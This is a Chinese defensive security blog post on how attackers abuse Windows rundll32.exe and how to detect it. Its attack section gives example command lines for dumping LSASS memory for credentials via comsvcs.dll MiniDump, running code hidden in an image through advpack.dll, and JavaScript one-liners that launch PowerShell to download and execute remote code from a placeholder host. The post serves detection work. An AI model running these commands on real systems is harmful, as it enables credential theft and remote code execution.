揭秘rundll32中的攻防对抗

前言

要做好检测能力,必须得熟悉你的系统环境,只有足够了解正常行为,才能真正找出异常(Anomaly)和威胁(Threat)

上篇文章中介绍 CS 的一些行为特征时,经常提及 rundll32.exe,哪怕非安全人员,可能对该进程都不陌生

顾名思义,rundll32.exe 可用于执行 DLL 文件,也能调用该文件中的内部函数

它的历史差不多能追溯到 Windows 95,几乎是所有 Windows 操作系统的必需组件,不能轻易地被禁用

攻击者可以借助 rundll32.exe 加载 DLL 文件中的恶意代码,避免像其它 EXE 文件一样直接在进程树中现行

另外,攻击者还可能滥用合法 DLL 文件中的导出函数,比如待会儿就会介绍到的 comsvcs.dll 和 MiniDump

除了加载 DLL 文件,rundll32.exe 还能通过 RunHtmlApplication 函数执行 JavaScript

正因为这些特性,rundll32.exe 很容易博得攻击者的青睐,在攻击技术流行度中常常名列前茅

常用场景

对于 rundll32.exe,最简单粗暴的用法当然是直接指定文件名称,执行目标 DLL:

  • rundll32.exe <dllname>

当然,在我们日常使用操作系统的过程中,见得最多的可能是通过 rundll32.exe 调用某些 DLL 文件中的特定函数这一行为:

  • rundll32.exe <dllname>,<entrypoint> <optional arguments>

譬如,在我们右键点击某文档,选择特定的“打开方式”,然后会弹出个窗口供我们指定用于打开的应用程序,实际上就相当于在后台执行了以下命令:

  • C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,OpenAs_RunDLL <file_path>

拿修改 hosts 文件举个例子,通过 WIN+R 执行以下命令,即可弹出该选择窗口:

  • C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,OpenAs_RunDLL C:\Windows\System32\drivers\etc\hosts

类似行为在我们的日志中呈现出来通常会是这么个模样:

关于 shell32.dll,比较常见的函数还有 Control_RunDLLControl_RunDLLAsUser,它们可以用于运行 .CPL 文件,一般主要是控制面板中的小程序

例如打开防火墙: C:\WINDOWS\System32\rundll32.exe C:\WINDOWS\System32\shell32.dll,Control_RunDLL C:\WINDOWS\System32\firewall.cpl

很显然,这里的 CPL 文件也可以被替换成恶意文件,所以一旦出现可疑的路径及文件名,我们就需要结合其它工具来检查它的合法性

关于这一攻击手法的使用细节,这篇 Paper 值得一读,本文就不展开阐述了

另外附上一张表格链接,其中包含了 Windows 10 上 rundll32.exe 可快速调用的命令清单及其功能含义

毕竟人生苦短,大家都没时间去记住那么多命令,但是不妨先 mark 一下,等到有需要时可以迅速查出其含义

攻击方式

借助 rundll32.exe 实现的攻击方式非常多,这里我只简单介绍几种比较有特色的利用姿势

合法的DLL调用

攻击者如果使用合法的 DLL 文件来完成攻击活动,按照传统的检测手段,确实会大大增加防守难度

例如利用 comsvcs.dll 中的 MiniDump 函数对目标进程进行内存转储,从而实现凭证窃取,参考这里

  • C:\Windows\System32\rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump <PID> C:\temp\lsass.dmp full

类似的还有 advpack.dll,原本是用于帮助硬件和软件读取和验证.INF文件,也会被攻击者用做代码执行

印象比较深刻的是之前分析一些木马病毒时见过类似的使用技巧,特意搜了下,这里好像也有相关文章

该病毒在图片中存放恶意代码,通过白利用完成代码执行,不熟悉的小伙伴遇见了真的很容易被瞒过去:

  • c:\windows\system32\rundll32.exe advpack.dll,LaunchINFSection c:\microsoft\360666.png,DefaultInstall

当然,这些攻击手法在实际使用过程中肯定会有许多变种,用于绕过一些常规的检测方式,比如 MiniDump 函数的调用也可以通过编号 #24 完成

感兴趣的朋友可以看看这里

远程代码加载

除了本地加载之外,rundll32.exe 也可以通过 RunHtmlApplication 函数执行 JavaScript 以实现远程代码加载,例如:

  • rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();new%20ActiveXObject("WScript.Shell").Run("powershell -nop -exec bypass -c IEX (New-Object Net.WebClient).DownloadString('http://ip:port/');"

  • rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https://raw.githubusercontent.com/XXX/XXX")

值得一提的是,根据笔者的观察,目前还没怎么看到日常活动中关于 javasciprt 关键字的合理使用场景,所以通常我会直接将该特征加入检测规则清单

关于该攻击手法,更多内容可以看看这篇文章

滥用COM组件

关于 rundll32.exe 还有一些比较少见的命令行参数 ———— -sta-localserver,它们俩都能用来加载恶意注册的 COM 组件

登上自家的 SIEM 去看看,说不定也能够发现以下活动(至少我确实根据相关数据狩猎到了一些有意思的活动:P)

  • rundll32.exe –localserver <CLSID_GUID>

  • rundll32.exe –sta <CLSID_GUID>

对 COM 组件不熟悉的童鞋可能需要先得去补补课,比如 ATT&CK 在持久化阶段中提及到的 T1546.015-Component Object Model Hijacking

简单来讲,当我们看到类似的命令行参数时,最好先去看看对应注册表下的键值对是否包含恶意的 DLL 文件或 SCT 脚本

它们通常在这个位置:\HKEY_CLASSES_ROOT\CLSID\<GUID>,可结合下图食用

关于具体的利用原理和攻击细节可以看看这里,还有这篇文章中提到的使用 -localserver 作为攻击变种的使用姿势

检测技巧

命令行检测

首先让我们一起回顾一遍 rundll32.exe 的基本使用方法:

  • rundll32.exe <dllname>,<entrypoint> <optional arguments>

从 rundll32 的文件位置开始,我们可以设定一条最基础的检测规则,因为它通常只有以下两种选择:

C:\Windows\System32\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe (32bit version on 64bit systems)

虽然简单,但也不并一定完全无用武之地:

接着,让我们开始关注 DLL 文件和导出函数

通过前文的介绍,我们应该能达成共识:在日常活动中,rundll32.exe 的出场次数并不少见

对于这种可能存在较多干扰信息的情况,我习惯使用漏斗模型来帮助缩小检测范围,简单来讲就是尽你所能(不一定非得用UEBA)去建设行为基线,然后剔除正常活动,重点关注偏离动作

例如,我简单统计了下自己电脑上出现过的 DLl 文件和导出函数,我们可以

在生产环境中,对于行为基线之外的活动,仍然可能包含大量业务相关的正常行为,这时还可以加上长尾分析法,关注特定阈值之下的少数可疑行为

或者我们还可以检查下有哪些不规范的文件或者函数名,比如这里我只简单设置条件为未包含关键字 “.dll”

对于之前提过 CobaltStrike 在后渗透阶段调用 rundll32.exe 的方式,就可以很轻松地通过这一技巧检测出来

另外,其实我印象比较深刻的是以前使用该技巧发现过这么一起异常行为:rundll32.exe uwcidcx.vb,capgj

当时只是觉得可疑,还不敢直接定性,直到写这篇文章时,在 Red Canary 的报告中发现了类似的攻击活动,且有着相同的上下文特征,才得以确认为某后门病毒

当然,这种方法可能会存在漏报,所以需要结合后文中的其它检测点搭配食用

敏感函数监测

前面介绍过一些使用合法的 DLL 文件及其函数完成的攻击活动,这种特定的白利用行为就需要我们重点关注了

例如 MiniDump 与其对应的函数编号 #24,其它更多的 tips 可能需要请红队成员帮帮忙,毕竟术业有专攻嘛

还有 javascript 的用法,因为它在日常行为中非常罕见,所以也可以享受下特殊待遇,加入观察名单

当然,有些特殊行为我们无法一眼定性,这时往往需要安全人员进行人工判定

对于这种场景,我们可以针对这些敏感的函数调用行为建设相应的 dashboard

例如上文提到的 -sta 关键字的用法,我们可能不方便根据 GUID 完成自动化研判,但是可以通过一些技巧提高狩猎效率

通信行为监测

根据我的观察经验,rundll32 在网络通信行为上的花样并不多,这对于我们建立异常检测模型是非常有利的

我在自己的主机上统计了下,只有实验中 beacon 通信时留下了 rundll32 的网络通信日志

当然,实验环境的数据没有说服力,而且我自己也维护了一份白名单,这里只是演示下统计方式,大家可以在自己的环境中去试一试

如果有 EDR 在进程通信时能采集到相应的命令行日志,我们还可以结合进程和网络行为一起分析

而通常情况下我们的日志中可能会缺少这些字段(例如sysmon),没关系,这时我们就一切从简

比如直接结合威胁情报食用,调用 API 查询 rundll32.exe 的目的地址是否可疑

另外,如果 rundll32.exe 存在扫描行为或者访问特殊端口(例如445、数据库端口等),这种情况应该不用多讲了吧(PS:我还真遇过好几次)

要是还想玩点高级的,可以结合通信频率,学习下检测 beacon 的姿势,比如根据 jitter 特征检测 C2 通信,参考这篇文章

异常关系检测

这部分可能涉及到的攻击手法就比较多样了,比如钓鱼邮件、webshell、计划任务或WMI等持久化中都有可能用到 rundll32.exe

所以需要对相关进程间的父子关系列一份检测清单,例如以下进程就应该划上重点:

- winword.exe
- excel.exe
- taskeng.exe
- winlogon.exe
- schtask.exe
- regsvr32.exe
- wmiprvse.exe
- wsmprovhost.exe
...

而对于清单内的进程,我们还可以借助图数据来构建 dashboard,如果有个专门的模块能够记录这些罕见的进程链,监测时便是一目了然

当然,有机会的话,也别漏掉了一些特殊的访问关系,比如 rundll32.exe 对 lsass.exe 发起高权限的进程间访问

小结

最后,这篇文章中贴的相关链接比较多,大部分都需要翻出去才能访问,所以如果遇到无法访问的情况其实是正常现象

有些地方的贴图不方便展示真实数据,只能贴网图或者在实验环境下截图,显示的数据样本会比较小,但是文中的结论实际上有大量样本支撑,基本可以放心食用

如有纰漏之处,或者其他有意思的发现,欢迎私信交流~~

最后更新于